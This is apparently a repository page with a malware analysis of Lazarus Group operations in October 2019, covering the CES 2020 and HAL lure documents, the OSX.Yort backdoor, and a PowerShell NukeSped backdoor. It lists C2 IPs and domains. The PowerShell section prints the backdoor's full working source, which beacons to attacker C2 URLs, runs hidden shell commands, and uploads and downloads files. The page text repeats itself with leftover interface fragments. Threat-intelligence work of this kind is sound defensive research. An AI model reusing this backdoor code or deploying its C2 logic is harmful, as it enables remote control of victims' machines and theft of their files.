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Update analysis.md

2019-11-09 19:43:46 +01:00

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A Look into the Lazarus Group's Operations in October 2019

Malware analysis
Cyber kill chain
Indicators Of Compromise (IOC)
References MITRE ATT&CK Matrix
Links

Malware analysis

The next analysis try to kept the recents events and a logicial improvement and technics of the group, this can go back in the past for compare it.

CES 2020 incident (NukeSped)

We can see that the document target specifily the south korean exhibitors with the follow tittle "Application form for American Las Vegas CES 2020"

This initial vector of the infection begin by a current exploit in HWP (CVE-2015-6585) to execute an EPS script, this download and execute the next stage of the infection.

This execute fisrtly a common trick RtlCaptureContext for have ability to register a top-level exception handler and avoid debbuging.

Once this done, the malware execute a series of actions like list the disks, process, files and push it in differents files as temp file in waiting to send the data to C2.

This push the list of C2 address to contact, the languages to understand and begin the contact with the C2 in giving the host info.

List of the languages used :

RFC4646/ISO 639 Ref	Lang
Az-Arab	Azerbaijani in Arabic script
de-CH	Swiss German
en-US	English as used in the United States

Interesting to see that not only south korea language is choisen and show that the group target all exhibitors (more a hundred exhibitors only for South Korea). This think possibly that the group manage the event give hardware specifily for the shows to the customers, that explains why this to don't include specific language like South Korea. If the target is interesting for the group, this can execute command and others tools in the computer infected.

We can see in the list of all the domains used that this all as different cloud providers and are legit website hijacked by vulnerable wordpress.

IP	ASN	Organization	Route	City	Coordinates	Country
64.151.229.52	AS26753	In2net Network Inc.	64.151.192.0/18	Toronto	43.6861,-79.4025	Canada
185.136.207.217	AS203377	LAB internet ve Bilisim Hizmetleri	185.136.207.0/24	Eskiehir	39.7767,30.5206	Turkey
83.169.17.240	AS8972	Europe GmbH	83.169.16.0/21	Köln	50.9541,6.9103	Germany

We can confirmed it by the Whois records and by the certificats push on the websites know at all the sites have between up early August 2019 at September 2019.

HAL incident (JakyllHyde)

The document specifically target the Hindustan Aeronautics Limited company (HAL) that the national aeronautics in India. This use false announcements for recruitment for target probably interesting profile or internal employees in asking for their opinion about announcements.

The attack vector is an maldoc which use a macro for drop and execute the implant. The first bloc is a declaration of function for load the future extracted dll.

The next bloc have multiple functions like decode from the base 64 in binary and string, verify the path of folder/file, create a folder and extract the correct payload from the form in maldoc according to the OS.

The following bloc have extraction functions (drop the lure) and for get the name of the lure and the dll.

We can see the autoopen function for execute the macro at the opening of the document and the data of the malware in base 64.

The backdoor begins to do the reconnaissance actions like list the process,system informations(Username, ComputerName ...)

After this list all the disks on the computer and all the files in current working directories in waiting the order of the C2.

This have the possibility to intercepts keystrokes (push it in temporary file), make screenshots, send interesting files by stream of bytes data.

If the attacker wants this can push and remove the persistence performed by a Startup key.

The backdoor contact the following IP :

IP	ASN	Organization	Route	City	Coordinates	Country
193.70.64.163	AS16276	thetiscloud.it	193.70.0.0/17	San Donato Milanese	45.4105,9.2684	Italy

By the certificates, we can see that the website is up since 2018, seems be a legit website hijacked.

Like the last incident, Lazarus group try to get high technologies, this possible that the interest is the fact that HAL is in cooperation for product and use the new french militairy aircraft (Rafale) in the India country.

OSX Malwares (OSX.Yort)

The initial vector of the infection is a maldoc with a VBA macro, this have two sections one for infected MacOSX and one for Windows. We can see the declaration of the functions for MacOSX and one of four splitted functions for get the payload on the Windows version

Here, we can observe the initiation of the payloads according with the OS in the AutoOpen (Run a macro when Excel or Word document is open).

The backdoor consists of a single loop which load the configuration and create a session for waiting the orders of the C2. The configuration can be update and the malware can be sleep for a delay given by the C2.

Many functions for send and get data are derived of a common based code with a specific action as perform at the final.

Foreach, this initiate and push the paramerters for communicate with the C2.

This can reply to the C2 like a pulse for alert at is still up (ReplyDie), download a file (ReplyDown), download and execute a file (ReplyExec), execute a command (Replycmd) or open another CLI (ReplyOtherShellCmd).

We can see on the data pushed on the C2 that a xor is performed with the `"0xAA"` value.

The malware don't have a persistence but by the fact that can execute command, the attacker can decide push a persistence if this neccessary, a function is performed when the attack close the session for return that the backdoor is correctly closed.

This according with the Kaspersky analysis of Yort on the functions of the backdoor:

Set sleep time (delay between C2 interactions)
Exit session
Collect basic host information
Check malware status
Show current malware configuration
Update malware configuration
Execute system shell command
Download & Upload files

Another sample of Yort have been spotted with a reedited installer of Flash Player, on the strings, we can observed that is the version 10.2 that is rebuilded.

We can see in the main function that install the legit Flash player, the checker software for update for avoid to become suspicious to the user and launch the backdoor.

This loading the configuration and options of the Yort, the rest is the same that the previous sample of Yort.

Powershell Backdoor (PowerShell/NukeSped)

Now, see the Windows version, this use Powershell language for the backdoor, the first bloc of the malware is the global values for the configuration, list of URL to contact and control values.

$global:breakvalue=1
$global:mbz=132608
$global:tid=0
$global:url="https://crabbedly.club/board.php","https://craypot.live/board.php","https://indagator.club/board.php"
$global:nup=0
$global:nwct=0

The backdoor execute a while loop until that the order to destroy the session push to the value of the variable "breakvalue" at 0.

function main()
{
	$global:tid=Get-Random -Minimum 128 -Maximum 16383
	while($global:breakvalue)
	{
		Try
		{
			if($global:nwct -gt 0){$global:nwct=$global:nwct- 1}
			if($global:nwct -le 0){ if (PulsetoC2(16) -eq $true){Start-Sleep -s 4; command($global:url[$global:nup])} }
		}
		Catch{}
		if($global:breakvalue -ne 1){break}
		Start-Sleep -s 60
	}
}
try{Remove-Item -Path $MyInvocation.MyCommand.Source}catch{}
main

In function of the result of the id push by the C2, this execute the following actions in the infected computer.

function command($url)
{
	try
	{
		while($global:breakvalue)
		{
			$rq=PushDatatoC2 $global:tid 22 $null 0 $global:url[$global:nup]
			if($rq -eq $null){break}
			$basefunctions=DecryptC2Data $rq $global:mbz
			if(($basefunctions -eq $null) -or ($basefunctions.length -lt 12)){break}
			$nmsg=ConverttoInt32 $basefunctions 0
			$nmlen=ConverttoInt32 $basefunctions 8
			if($basefunctions.length -ne ($nmlen+12)){break}
			$cres=0
			if($nmsg -eq 2){$cres=slp $basefunctions}
			elseif($nmsg -eq 3){$cres=diconnect}
			elseif($nmsg -eq 11){$cres=Set-SysInfo}
			elseif($nmsg -eq 12){$cres=kalv}
			elseif($nmsg -eq 14){$cres=Get-actions}
			elseif($nmsg -eq 15){$cres=Set-actions $basefunctions}
			elseif($nmsg -eq 18){$cres=Set-command $basefunctions}
			elseif($nmsg -eq 20){$cres=upload $basefunctions}
			elseif($nmsg -eq 21){$cres=download $basefunctions}
			elseif($nmsg -eq 24){$cres=launch_process $basefunctions}
			else{break}
			if($cres -eq 0){break}
			Start-Sleep -s 1
		}
		Start-Sleep -s 4
		if(PulsetoC2(17) -eq $true){}
	}
	catch{}
}

The next bloc content the functions for copy the bytes and convert from different encoding the data.

function CopyBytes($DatatoCopy,$dst,$dstOffset)
{
	$Bytes=[System.BitConverter]::GetBytes($DatatoCopy)
	return [System.Buffer]::BlockCopy($Bytes,0,$dst,$dstOffset,$Bytes.length)
}
function CopyBytes_UTF8($DatatoCopy,$dst,$dstOffset)
{
	$Bytes=[System.Text.ASCIIEncoding]::UTF8.GetBytes($DatatoCopy)
	return [System.Buffer]::BlockCopy($Bytes,0,$dst,$dstOffset,$Bytes.length)
}
function ConverttoInt32($buffer,$Offset){ return [System.BitConverter]::ToInt32($buffer,$Offset) }
function Get_UTF8Bytes($Data){ return [System.Text.ASCIIEncoding]::UTF8.GetBytes($Data) }

The following functions are for send and get the data from the C2. We can note that the user agent is the same that the MacOS backdoor.

function senddata($tid,$rid,$array_data,$DatatoC2_Length,$url)
{
	try
	{
		if($array_data -eq $null){$array_data=New-Object byte[] 0}
		$ID=-join((48..57)|Get-Random -Count 12|%{[char]$_}) #10 random numbers
		$filename=-join((48..57)|Get-Random -Count 12|%{[char]$_})+".dat" # LIKE 5216804379.dat by example
		$date_msg="--" + (Get-Date -Format yyyy-MM-dd-hh-mm-ss-fffffff) + "--"
		$netobject=[System.Net.WebRequest]::create($url + "?v=" + $ID)
		$netobject.Method="POST"
		$netobject.ContentType="multipart/form-data; boundary=$date_msg"
		$netobject.TimeOut=120000
		$netobject.ReadWriteTimeout=120000
		$netobject.UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.131 Safari/537.36"
		$pbdy=Get_UTF8Bytes("`r`n`r`n--" + $date_msg + "`r`nContent-Disposition: form-data; name=`"_webident_f`"`r`n`r`n" + $tid + "`r`n--" + $date_msg + "`r`nContent-Disposition: form-data; name=`"_webident_s`"`r`n`r`n" + $rid + "`r`n--" + $date_msg + "`r`nContent-Disposition: form-data; name=`"file`"; filename=`"" + $filename + "`"`r`nContent-Type: octet-stream`r`n`r`n")
		$ebdy=Get_UTF8Bytes("`r`n--" + $date_msg + "`r`n")
		$netobject.ContentLength=$pbdy.Length + $DatatoC2_Length + $ebdy.Length;
		$StreamObject=$netobject.GetRequestStream()
		$StreamObject.Write($pbdy,0,$pbdy.Length)
		$StreamObject.Flush()
		if($DatatoC2_Length -gt 0)
		{
			$StreamObject.Write($array_data,0,$DatatoC2_Length)
			$StreamObject.Flush()
		}
		$StreamObject.Write($ebdy,0,$ebdy.Length)
		$StreamObject.Flush()
		$StreamObject.Close()
		return $netobject
	}
	catch{return $null}
}

function GetResponseC2($netobject,$mxz)
{
	try
	{
		$response=$netobject.GetResponse()
		if($response.StatusCode -eq "OK")
		{
			$stream=$response.GetResponseStream()
			$byteobject=New-Object byte[] $mxz
			$val=0
			$response_length=$byteobject.Length
			if($response_length -gt $response.ContentLength){$response_length=$response.ContentLength}
			while($val -lt $response_length)
			{
			$dataread=$stream.Read($byteobject,$val,$response_length-$val)
			if($dataread -le 0){break}
			$val=$val+$dataread
			}
			if($val -ne 0)
			{
				if($val -eq 1){$byteobject2=New-Object byte[] 2}
				else
				{
					$byteobject2=New-Object byte[] $val}
					[System.Buffer]::BlockCopy($byteobject,0,$byteobject2,0,$val)
			}
			else{$byteobject2=New-Object byte[] 2}
			$response.Close()
			$r.Close()
			$r.Dispose()
			return $byteobject2
		}
		else{return $null} 
	}
	catch{return $null}
}

The both next functions use the same XOR value `"0xAA"` for encryt and decrypt data from the C2. We can note again that the same XOR value that in the MacOS backdoor.

function PushDatatoC2($tid,$rid,$bd,$DatatoC2_Length,$url)
{
	if($DatatoC2_Length -gt 0){ for($i=0;$i -lt $DatatoC2_Length; $i++){$bd[$i]=$bd[$i] -bxor 0xAA} }
	return senddata $tid $rid $bd $DatatoC2_Length $url
}
function DecryptC2Data($netobject,$mxz)
{
	$DataC2=GetResponseC2 $netobject $mxz
	if($DataC2 -ne $null){for($i=0; $i -lt $DataC2.length; $i++){ $DataC2[$i] = $DataC2[$i] -bxor 0xAA }}
	return $DataC2
}

Like the MacOS backdoor, we observe that the back have multiple mods for communicate with the C2 and depends of the initial reply of the C2.

function updatemod1()
{
	$trigger=0
	do
	{
		$byteobject=New-Object byte[] 12
		CopyBytes 5 $byteobject 0
		CopyBytes 0 $byteobject 4
		CopyBytes 0 $byteobject 8
		$response=PushDatatoC2 $global:tid 21 $byteobject $byteobject.Length $global:url[$global:nup]
		if($response -eq $null){break}
		$byteobject=DecryptC2Data $response $global:mbz
		if(($byteobject -eq $null) -or ($byteobject.length -ne 2)){break}
		$trigger=1
	}while($false)
	return $trigger
}
function updatemod2()
{
	$trigger=0
	do
	{

		$byteobject=New-Object byte[] 16
		CopyBytes 4 $byteobject 0
		CopyBytes 0 $byteobject 4
		CopyBytes 4 $byteobject 8
		CopyBytes 0 $byteobject 12
		$rq=PushDatatoC2 $global:tid 21 $byteobject $byteobject.Length $global:url[$global:nup]
		if($rq -eq $null){break}
		$byteobject=DecryptC2Data $rq $global:mbz
		if(($byteobject -eq $null) -or ($byteobject.length -ne 2)){break}
		$trigger=1
	} while($false)
	return $trigger
}
function updatemod3($nmsg)
{
	$trigger=0
	do
	{

		$byteobject=New-Object byte[] 12
		CopyBytes $nmsg $byteobject 0
		CopyBytes 0 $byteobject 4
		CopyBytes 0 $byteobject 8
		$rq=PushDatatoC2 $global:tid 20 $byteobject $byteobject.Length $global:url[$global:nup]
		if($rq -eq $null){break}
		$byteobject=DecryptC2Data $rq $global:mbz
		if(($byteobject -eq $null) -or ($byteobject.length -lt 12)){break}
		$nmsg=ConverttoInt32 $byteobject 0
		$nmlen=ConverttoInt32 $byteobject 8
		if($byteobject.length -ne ($nmlen+12)){break}
		if(($nmlen -ne 0) -or ($nmsg -ne 5)){break}
		$trigger=1
	} while($false)
	return $trigger
}

This have the possiblity to set in standby the backdoor, close the current session and get the system informations.

function slp($buf)
{
	$trigger=0
	do
	{
		$nmlen=ConverttoInt32 $buf 8
		if($nmlen -ne 4){break}
		$global:nwct=ConverttoInt32 $buf 12
		$trigger=updatemod1
		$trigger=0
	} while($false)
	return $trigger
}
function disconnect()
{
	$trigger=0
	do
	{
		$trigger=updatemod1
		if($trigger -eq 0){break}
		$trigger=1
		$global:breakvalue=0
	} while($false)
	return $trigger
}
function Set-SysInfo()
{
	$trigger=0
	do
	{
		$hostnamename=$env:COMPUTERNAME
		$ip=(Test-Connection -ComputerName $hostname -Count 1  | Select -ExpandProperty IPV4Address).Address
		$OS=[System.Environment]::OSVersion.Version
		$OS_major=$OS.major
		$OS_minor=$OS.minor
		$byteobject=New-Object byte[] 300
		CopyBytes 11 $byteobject 0
		CopyBytes 0 $byteobject 4
		CopyBytes 288 $byteobject 8
		CopyBytes_UTF8 $hostname $byteobject 12
		CopyBytes $ip $byteobject 272
		CopyBytes 1 $byteobject 276
		CopyBytes $OS_major $byteobject 280
		CopyBytes $OS_minor $byteobject 284
		CopyBytes 3 $byteobject 288
		CopyBytes 0 $byteobject 292
		CopyBytes 6 $byteobject 296
		$rq=PushDatatoC2 $global:tid 20 $byteobject $byteobject.Length $global:url[$global:nup]
		if($rq -eq $null){break}
		$byteobject=DecryptC2Data $rq $global:mbz
		if(($byteobject -eq $null) -or ($byteobject.length -lt 12)){break}
		$nmsg=ConverttoInt32 $byteobject 0
		$nmlen=ConverttoInt32 $byteobject 8
		if($byteobject.length -ne ($nmlen+12)){break}
		if(($nmlen -ne 0) -or ($nmsg -ne 5)){break}
		$trigger=1
	} while($false)
	return $trigger
}

This can get the actions and push the actions to do on the system.


function Get-actions()
{
	$trigger=0
	do
	{
		$nmsg=14
		$nrsv=0
		$nmlen=2152
		$basefunctions=New-Object byte[] 2164
		CopyBytes $nmsg $basefunctions 0
		CopyBytes $nrsv $basefunctions 4
		CopyBytes $nmlen $basefunctions 8
		for($i=0;$i -lt $global:url.length;$i++){CopyBytes_UTF8 $global:url[$i] $basefunctions (84+260*$i)}
		$rq=PushDatatoC2 $global:tid 20 $basefunctions $basefunctions.Length $global:url[$global:nup]
		if($rq -eq $null){break}
		$basefunctions=DecryptC2Data $rq $global:mbz
		if(($basefunctions -eq $null) -or ($basefunctions.length -lt 12)){break}
		$nmsg=ConverttoInt32 $basefunctions 0
		$nmlen=ConverttoInt32 $basefunctions 8
		if($basefunctions.length -ne ($nmlen+12)){break}
		if(($nmlen -ne 0) -or ($nmsg -ne 5)){break}
		$trigger=1
	} while($false)
	return $trigger
}
function Set-actions($buf)
{
	$trigger=0
	do
	{
		$nmlen=ConverttoInt32 $buf 8
		if($nmlen -ne 2152){break}
		for($i=0;$i -lt $global:url.length;$i++)
		{
			$js=0
			for($js=0;$js -lt 260;$js++){if($buf[(84+260*$i)+$js] -eq 0){break}}
			$global:url[$i] = [System.Text.ASCIIEncoding]::UTF8.GetString($buf, (84+260*$i), $js)
		}
		$trigger=updatemod1
		if($trigger -eq 0){break}
		$trigger=1
	} while($false)
	return $trigger
}

The attacker can perform a specific action in another CLI.

function Set-command($buf)
{
	$trigger=0
	do
	{
		$nmlen=ConverttoInt32 $buf 8
		$arg=[System.Text.ASCIIEncoding]::UTF8.GetString($buf,12,$nmlen)
		$path=[System.IO.Path]::GetTempFileName()
		$process = New-Object System.Diagnostics.Process
		$pif = New-Object System.Diagnostics.ProcessStartInfo
		$pif.FileName="cmd.exe"
		$pif.CreateNoWindow=$true;
		$pif.WindowStyle="Hidden";
		$pif.Arguments="/c "+$arg+" >"+$path+" 2>&1"
		$process.StartInfo=$pif
		$process.Start() | Out-Null
		$srs=""
		$count=0
	while ($process.HasExited -eq $false)
	{
		if($count -gt 24){break}
		$count=$count+1
		Start-Sleep -s 1
	}
	if([System.IO.File]::Exists($path))
	{
		try
		{
            $content=Get-Content -Path $path; 
            Remove-Item -Path $path;
			if($content.GetType().FullName -eq "System.Object[]")
			{
				for($i=0;$i -lt $content.Length; $i++){$srs=$srs+$content[$i]+"`r`n"}
			}
			else{$srs=$content}
		}
		catch{$srs=""}
	}
	$srsb=Get_UTF8Bytes($srs)
	$trigger= updatemod3 5
	if($trigger -eq 0){break}
	$srsb=Get_UTF8Bytes($srs)
	$ncr=0
	$trigger=1
	while($ncr -lt $srsb.length)
	{
		$ncrs=1024*100
		if($ncrs -gt ($srsb.length-$ncr)){$ncrs=($srsb.length-$ncr)}
		$nmlen=$ncrs
		$basefunctions=New-Object byte[] (12+$ncrs)
		CopyBytes 16 $basefunctions 0
		CopyBytes 0 $basefunctions 4
		CopyBytes $nmlen $basefunctions 8
		for($i=0;$i -lt $ncrs;$i++){$basefunctions[12+$i]=$srsb[$ncr+$i]}
		$rq=PushDatatoC2 $global:tid 20 $basefunctions $basefunctions.Length $global:url[$global:nup]
		if($rq -eq $null){$trigger=0;break}
		$basefunctions=DecryptC2Data $rq $global:mbz
		if(($basefunctions -eq $null) -or ($basefunctions.length -lt 12)){$trigger=0;break}
		$nmsg=ConverttoInt32 $basefunctions 0
		$nmlen=ConverttoInt32 $basefunctions 8
		if($basefunctions.length -ne ($nmlen+12)){$trigger=0;break}
		if(($nmlen -ne 0) -or ($nmsg -ne 5)){$trigger=0;break}
		$ncr=$ncr+$ncrs
		}
		if($trigger -eq 0){break}
		$trigger=updatemod3 17
		if($trigger -eq 0){break}
		$trigger=1
	}while($false)
	return $trigger
}

Finally, this can download and upload files on the C2, send a pulse to the C2, push a trigger and launch a new process ( like push an additionnal tool).

function upload($buf)
{
	$trigger=0
	do
	{
		$nmlen=ConverttoInt32 $buf 8
		$path=[System.Text.ASCIIEncoding]::UTF8.GetString($buf,12,$nmlen)
		$fs=$null
		try{$fs=[System.IO.File]::Open($path, [System.IO.FileMode]::Append)}catch{$fs=$null}
		if($fs -eq $null){$trigger=updatemod2;}
		else
		{
			try
			{
				$fl=[int]$fs.length
				$nmsg=5
				$nrsv=0
				$nmlen=4
				$basefunctions=New-Object byte[] 16
				CopyBytes $nmsg $basefunctions 0
				CopyBytes $nrsv $basefunctions 4
				CopyBytes $nmlen $basefunctions 8
				CopyBytes $fl $basefunctions 12
				$rq=PushDatatoC2 $global:tid 20 $basefunctions $basefunctions.Length $global:url[$global:nup]
				if($rq -eq $null){break}
				$basefunctions=DecryptC2Data $rq $global:mbz
				if(($basefunctions -eq $null) -or ($basefunctions.length -lt 24)){break}
				$nmsg=ConverttoInt32 $basefunctions 0
				$nmlen=ConverttoInt32 $basefunctions 8
				$rfl=ConverttoInt32 $basefunctions 12
				if($basefunctions.length -ne ($nmlen+12)){break}
				if(($nmlen -ne 12) -or ($nmsg -ne 5)){break}
				$trigger=updatemod1
				if($trigger -eq 0){break}
				$bed=0
				while($true)
				{
					$rq=PushDatatoC2 $global:tid 22 $null 0 $global:url[$global:nup]
					if($rq -eq $null){$trigger=0;break}
					$basefunctions=DecryptC2Data $rq $global:mbz
					if(($basefunctions -eq $null) -or ($basefunctions.length -lt 12)){$trigger=0;break}
					$nmsg=ConverttoInt32 $basefunctions 0
					$nmlen=ConverttoInt32 $basefunctions 8
					if($basefunctions.length -ne ($nmlen+12)){$trigger=0;break}
					$fs.Write($basefunctions,12,$nmlen)
					if($nmsg -eq 17){$bed=1}
					$trigger=updatemod1
					if($trigger -eq 0){break}
					if($bed -eq 1){break}
				}
				$fs.Close()
				if($trigger -eq 0){break}
			}
			catch{$fs.Close();break}
		}
		$trigger=1
	} while($false)
	return $trigger
}
function download($buf)
{
	$trigger=0
	do
	{
		$nmlen=ConverttoInt32 $buf 8
		$path=[System.Text.ASCIIEncoding]::UTF8.GetString($buf,12,$nmlen)
		$fs=$null
		try{$fs=[System.IO.File]::OpenRead($path)}catch{$fs=$null}
		if($fs -eq $null){$trigger=updatemod2;}
	else
	{
		try
		{
			$fl=$fs.length
			$basefunctions=New-Object byte[] 24
			CopyBytes 5 $basefunctions 0
			CopyBytes 0 $basefunctions 4
			CopyBytes 12 $basefunctions 8
			CopyBytes $fl $basefunctions 12
			CopyBytes 0 $basefunctions 16
			CopyBytes 0 $basefunctions 20
			$rq=PushDatatoC2 $global:tid 20 $basefunctions $basefunctions.Length $global:url[$global:nup]
			if($rq -eq $null){break}
			$basefunctions=DecryptC2Data $rq $global:mbz
			if(($basefunctions -eq $null) -or ($basefunctions.length -lt 16)){break}
			$nmsg=ConverttoInt32 $basefunctions 0
			$nmlen=ConverttoInt32 $basefunctions 8
			$rfl=ConverttoInt32 $basefunctions 12
			if($basefunctions.length -ne ($nmlen+12)){break}
			if(($nmlen -ne 4) -or ($nmsg -ne 5)){break}
			$trigger=1
			if($rfl -gt $fl){$rfl=$fl}
			$fs.Seek($rfl, [System.IO.SeekOrigin]::Begin)
			while($true)
			{
				$ncrs=1024*100
				$tbf=New-Object byte[] $ncrs
				$nr=$fs.Read($tbf, 0, $tbf.Length)
				if($nr -eq 0){break}
				$nmsg=16
				$nrsv=0
				$nmlen=$nr
				$basefunctions=New-Object byte[] (12+$nr)
				CopyBytes $nmsg $basefunctions 0
				CopyBytes $nrsv $basefunctions 4
				CopyBytes $nmlen $basefunctions 8
				for($i=0;$i -lt $nr;$i++){$basefunctions[12+$i]=$tbf[$i]}
				$rq=PushDatatoC2 $global:tid 20 $basefunctions $basefunctions.Length $global:url[$global:nup]
				if($rq -eq $null){$trigger=0;break}
				$basefunctions=DecryptC2Data $rq $global:mbz
				if(($basefunctions -eq $null) -or ($basefunctions.length -lt 12)){$trigger=0;break}
				$nmsg=ConverttoInt32 $basefunctions 0
				$nmlen=ConverttoInt32 $basefunctions 8
				if($basefunctions.length -ne ($nmlen+12)){$trigger=0;break}
				if(($nmlen -ne 0) -or ($nmsg -ne 5)){$trigger=0;break}
			}
			$fs.close()
			if($trigger -eq 0){break}
			$trigger=updatemod3 17
			if($trigger -eq 0){break}
		}
		catch{$fs.Close();break}
	}
	$trigger=1
	} while($false)
	return $trigger
}
function kalv()
{
	$trigger=0
	do
	{
		$trigger=updatemod1
		if($trigger -eq 0){break}
		$trigger=1
	} while($false)
	return $trigger
}
function launch_process($buf)
{
	$trigger=0
	do
	{
		$nmlen=ConverttoInt32 $buf 8
		$arg=[System.Text.ASCIIEncoding]::UTF8.GetString($buf,12,$nmlen)
		Start-Process $arg
		$trigger=updatemod1
		if($trigger -eq 0){break}
		$trigger=1
	} while($false)
	return $trigger
}
function PulsetoC2($rid)
{
	$trigger=$false
	if($rid -eq 16){$global:nup=($global:nup + 1) % $global:url.Length}
	$rq=senddata $global:tid $rid $null 0 $global:url[$global:nup]
	if($rq -ne $null)
	{
		$basefunctions=GetResponseC2 $rq $global:mbz
		if(($basefunctions.length -eq 2) -and ($basefunctions[0] -eq 49)){$trigger=$true}
	}
	return $trigger
}

Cyber kill chain

The process graphs resume all the cyber kill chains used by the attacker.

References MITRE ATT&CK Matrix

List of all the references with MITRE ATT&CK Matrix

Enterprise tactics	Technics used	Ref URL

Indicators Of Compromise (IOC)

List of all the Indicators Of Compromise (IOC)

Indicator	Description

34 KiB Raw Blame History

A Look into the Lazarus Group's Operations in October 2019

Table of Contents

Malware analysis

The next analysis try to kept the recents events and a logicial improvement and technics of the group, this can go back in the past for compare it.

CES 2020 incident (NukeSped)

We can see that the document target specifily the south korean exhibitors with the follow tittle "Application form for American Las Vegas CES 2020"

This initial vector of the infection begin by a current exploit in HWP (CVE-2015-6585) to execute an EPS script, this download and execute the next stage of the infection.

This execute fisrtly a common trick RtlCaptureContext for have ability to register a top-level exception handler and avoid debbuging.

Once this done, the malware execute a series of actions like list the disks, process, files and push it in differents files as temp file in waiting to send the data to C2.

The RAT push the cookie settings and guid for the identification in the C2.

This push the list of C2 address to contact, the languages to understand and begin the contact with the C2 in giving the host info.

List of the languages used :

We can see in the list of all the domains used that this all as different cloud providers and are legit website hijacked by vulnerable wordpress.

We can confirmed it by the Whois records and by the certificats push on the websites know at all the sites have between up early August 2019 at September 2019.

HAL incident (JakyllHyde)

The document specifically target the Hindustan Aeronautics Limited company (HAL) that the national aeronautics in India. This use false announcements for recruitment for target probably interesting profile or internal employees in asking for their opinion about announcements.

The attack vector is an maldoc which use a macro for drop and execute the implant. The first bloc is a declaration of function for load the future extracted dll.

The next bloc have multiple functions like decode from the base 64 in binary and string, verify the path of folder/file, create a folder and extract the correct payload from the form in maldoc according to the OS.

The following bloc have extraction functions (drop the lure) and for get the name of the lure and the dll.

We can see the autoopen function for execute the macro at the opening of the document and the data of the malware in base 64.

The backdoor begins to do the reconnaissance actions like list the process,system informations(Username, ComputerName ...)

After this list all the disks on the computer and all the files in current working directories in waiting the order of the C2.

This have the possibility to intercepts keystrokes (push it in temporary file), make screenshots, send interesting files by stream of bytes data.

If the attacker wants this can push and remove the persistence performed by a Startup key.

The backdoor contact the following IP :

By the certificates, we can see that the website is up since 2018, seems be a legit website hijacked.

Like the last incident, Lazarus group try to get high technologies, this possible that the interest is the fact that HAL is in cooperation for product and use the new french militairy aircraft (Rafale) in the India country.

OSX Malwares (OSX.Yort)

The initial vector of the infection is a maldoc with a VBA macro, this have two sections one for infected MacOSX and one for Windows. We can see the declaration of the functions for MacOSX and one of four splitted functions for get the payload on the Windows version

Here, we can observe the initiation of the payloads according with the OS in the AutoOpen (Run a macro when Excel or Word document is open).

The backdoor consists of a single loop which load the configuration and create a session for waiting the orders of the C2. The configuration can be update and the malware can be sleep for a delay given by the C2.

Many functions for send and get data are derived of a common based code with a specific action as perform at the final.

Foreach, this initiate and push the paramerters for communicate with the C2.

This can reply to the C2 like a pulse for alert at is still up (ReplyDie), download a file (ReplyDown), download and execute a file (ReplyExec), execute a command (Replycmd) or open another CLI (ReplyOtherShellCmd).

We can see on the data pushed on the C2 that a xor is performed with the "0xAA" value.

The malware don't have a persistence but by the fact that can execute command, the attacker can decide push a persistence if this neccessary, a function is performed when the attack close the session for return that the backdoor is correctly closed.

This according with the Kaspersky analysis of Yort on the functions of the backdoor:

Set sleep time (delay between C2 interactions)

Exit session

Collect basic host information

Check malware status

Show current malware configuration

Update malware configuration

Execute system shell command

Download & Upload files

Another sample of Yort have been spotted with a reedited installer of Flash Player, on the strings, we can observed that is the version 10.2 that is rebuilded.

We can see in the main function that install the legit Flash player, the checker software for update for avoid to become suspicious to the user and launch the backdoor.

This loading the configuration and options of the Yort, the rest is the same that the previous sample of Yort.

Powershell Backdoor (PowerShell/NukeSped)

Now, see the Windows version, this use Powershell language for the backdoor, the first bloc of the malware is the global values for the configuration, list of URL to contact and control values.

The backdoor execute a while loop until that the order to destroy the session push to the value of the variable "breakvalue" at 0.

In function of the result of the id push by the C2, this execute the following actions in the infected computer.

The next bloc content the functions for copy the bytes and convert from different encoding the data.

The following functions are for send and get the data from the C2. We can note that the user agent is the same that the MacOS backdoor.

The both next functions use the same XOR value "0xAA" for encryt and decrypt data from the C2. We can note again that the same XOR value that in the MacOS backdoor.

Like the MacOS backdoor, we observe that the back have multiple mods for communicate with the C2 and depends of the initial reply of the C2.

This have the possiblity to set in standby the backdoor, close the current session and get the system informations.

This can get the actions and push the actions to do on the system.

The attacker can perform a specific action in another CLI.

Finally, this can download and upload files on the C2, send a pulse to the C2, push a trigger and launch a new process ( like push an additionnal tool).

Cyber kill chain

The process graphs resume all the cyber kill chains used by the attacker.

References MITRE ATT&CK Matrix

List of all the references with MITRE ATT&CK Matrix

Indicators Of Compromise (IOC)

List of all the Indicators Of Compromise (IOC)

This can be exported as JSON format Export in JSON

Links

Original tweet:

Links Anyrun:

External analysis:

Ressources :

34 KiB

Raw Blame History

We can see on the data pushed on the C2 that a xor is performed with the `"0xAA"` value.

The both next functions use the same XOR value `"0xAA"` for encryt and decrypt data from the C2. We can note again that the same XOR value that in the MacOS backdoor.